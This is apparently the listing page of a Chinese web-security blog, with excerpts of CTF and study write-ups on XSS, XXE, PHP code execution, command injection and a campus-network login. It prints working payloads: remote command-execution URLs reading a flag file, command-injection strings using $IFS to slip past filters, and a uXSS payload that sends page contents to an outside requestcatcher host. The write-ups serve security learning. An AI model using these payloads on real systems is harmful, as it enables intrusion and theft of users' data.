June 21, 2024

WebSec 之 PHP反序列化 与 Python SSTI

反序列化 魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作 / PHP 保留所有以 __ 开头的方法名称。 因此,除非覆盖 PHP 的行为,否则不建议使用此类方法名称
Read more
June 21, 2024

WebSec 之 XSS

prompt(1) to win 平台 prompt(1) to win - 0x0 之 0-8 / 01 无过滤,白给局,掌握拼接的思路尝试 / payload: 1">`<script>prompt(1)</script>`<" 02 过滤 =( / HTML 实体绕过(注意HTML实体有多种形式,可以都试试) / <svg><script>prompt(1)<b> 03 正则匹配检测同时出现的 ->
Read more
April 11, 2024

配置 MitMProxy

mitmproxy文档 / brew install mitmproxy # baidu_mitm.py # Demo # 导入 mitmproxy 的 http 模块 from mitmproxy import http # 请求处理函数 def request(flow: http.HTTPFlow) -> None: # 检查请求的主机是否为 'baidu.com' if "baidu.com" in flow.request.pretty_host: # 打印请求的 URL print(f"Request URL: {flow.request.url}") # 响应处理函数 def response(flow: http.HTTPFlow) -> None: # 检查请求的主机是否为 'baidu.com' if "baidu.com" in flow.request.pretty_host: # 打印响应的状态码 print(f"Response Status: {flow.response.status_code}") 浏览器配置忽略证书错误并设置代理为 127.0.0.1:8080
Read more
November 30, 2023

[CVE-2014-3529] Excel XXE

XXE – 外部实体注入(XML External Entity Injection),为利用 XML 处理器的漏洞的攻击技术。XML 外部实体注入漏洞允许攻击者向应用程序注入恶意内容,并在解析 XML 时触发。
Read more
August 31, 2023

[WebSec 信息泄露] php eval 与 vim 的临时交换文件

题目提示 vim 异常退出, 于是下载 .index.php.swp 进而通过 vim -r index.php.swp 恢复出如下代码 对源码分析后的 payload : ls 根目录 / http://124.221.34.13:50004/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=$cmd%20=%20%27ls%20/%27;exec($cmd,%20$result,%20$var);var_dump($result);var_dump($var); 发现有 fl4444444g 这个可疑文件 cat flag / http://124.221.34.13:50004/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=$cmd%20=%20%27cat%20/fl4444444g%27;exec($cmd,%20$result,%20$var);var_dump($result);var_dump($var);
Read more
July 18, 2023

buuCTF WEB方向刷题(熟悉 Yakit)

[GXYCTF2019]Ping Ping Ping 思路 推测为拼接执行 / $IFS$1 绕过空格, 创建 shell 变量绕过 flag 字符检测 / Payload /?ip=1|ls ls 一下查看文件, 看到有两个文件, 其中一个是 flag.php, 用上面的思路 cat 一下 / /?ip=1;a=g;cat$IFS$1fla$a.php 用 Yakit 传的时候记得关闭左边的强制 https
Read more
June 1, 2023

SGMW(上汽五菱) CTF

一道很有趣的词频分析(tag:密码/杂项) 感谢 AcexZe 师傅帮助 AcezZe: 运气好,词频出来一看知道要反转一下,以为是栅栏或者凯撒的后续,试了一下发现没啥特殊的,就继续看看字频了 / 给了 password.txt 和 flag.zip , 思路是对 password.txt 进行词频分析(具体步骤可以看下面的 psw_string.py ),并且按照 psw_string.py 逻辑进行去除噪声,即可拿到压缩包密码
Read more
May 10, 2023

校园网研究

密码和账号以密文和明文的形式储存在 cookie 中 以下是加密和保存的代码 function i(e) { var n; Object(c.a)(this, i), (n = t.call(this, e)).state = { isDoing: !1, err: null, isShowQR: !1, QR: "", QRSec: 0, QRTimer: 0 }, n.V = { remember: !1, password: "", username: "", randomPassword: "" }, n.f_key = function(e) { return $.a.enc.Utf8.parse(e.slice(-4) + e + "12345678") } , n.check = function() { j.a.post(be.url, { DoWhat: "Check" }).then((function(e) { var t = e.data; !0 === t.Result && (x.b.success(t.Message, 5), be.App.setState({ isLogin: !0 })) } )).catch((function(e) { x.b.error("\u901a\u8baf\u5931\u8d25\uff01\u8bf7\u68c0\u67e5\u7f51\u7edc\u662f\u5426\u6b63\u5e38\u63a5\u5165\uff01") } )) } , n.onFinish = function(e) { if (x.b.destroy(), n.setState({ isDoing: !0 }), e.DoWhat = "Login", e.username !== n.V.username || e.password !== n.V.randomPassword ? e.password = $.a.DES.encrypt(e.password, n.f_key(e.username), { mode: $.a.mode.ECB, padding: $.a.pad.Pkcs7 }).ciphertext.toString() : e.password = n.V.password, e.remember) { var t = new Date(Date.now() + 2592e6); ie.a.save("username", e.username, { dt: t, maxAge: 2592e3 }), ie.a.save("password", e.password, { dt: t, maxAge: 2592e3 }) } else ie.a.remove("username"), ie.a.remove("password"), ie.a.remove("remember"); j.a.post(be.url, e).then((function(e) { var t = e.data; !1 === t.Result ? (x.b.error(t.Message, 5), n.setState({ err: t.Message })) : !0 === t.Result && (x.b.success(t.Message, 5), be.App.setState({ isLogin: !0 })) } )).catch((function(e) { x.b.warning("\u901a\u8baf\u5931\u8d25\uff01\u8bf7\u68c0\u67e5\u7f51\u7edc\u662f\u5426\u6b63\u5e38\u63a5\u5165\uff01") } )).finally((function() { n.setState({ isDoing: !1 }) } )) } , n.onFinishVisitor = function(e) { x.b.destroy(), n.setState({ isDoing: !0 }), e.DoWhat = "Login", e.username = "V" + e.username, e.password = $.a.DES.encrypt(e.password, n.f_key(e.username), { mode: $.a.mode.ECB, padding: $.a.pad.Pkcs7 }).ciphertext.toString(), j.a.post(be.url, e).then((function(e) { var t = e.data; !1 === t.Result ? x.b.error(t.Message, 5) : !0 === t.Result && (x.b.success(t.Message, 5), be.App.setState({ isLogin: !0 })) } )).catch((function(e) { x.b.warning("\u901a\u8baf\u5931\u8d25\uff01\u8bf7\u68c0\u67e5\u7f51\u7edc\u662f\u5426\u6b63\u5e38\u63a5\u5165\uff01") } )).finally((function() { n.setState({ isDoing: !1 }) } )) } 已断点测试 加密逻辑如上
Read more
April 8, 2023

uXSS学习

payload: / <title>HELLO</title> <script> document.title = ` <img src=x onerror="document.location = 'https://ll.requestcatcher.com/' + document.evaluate('html/body/text()', document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue.data" `; </script> 实现前提:有一个插件来监听所有网站标题 有一个改变即刷新(可以作为恶意插件载入但无法被报毒 然后使用上述代码在目标浏览器使用以窃取信息 这份代码的目的是通过XSS漏洞进行恶意跳转。具体解释如下:
Read more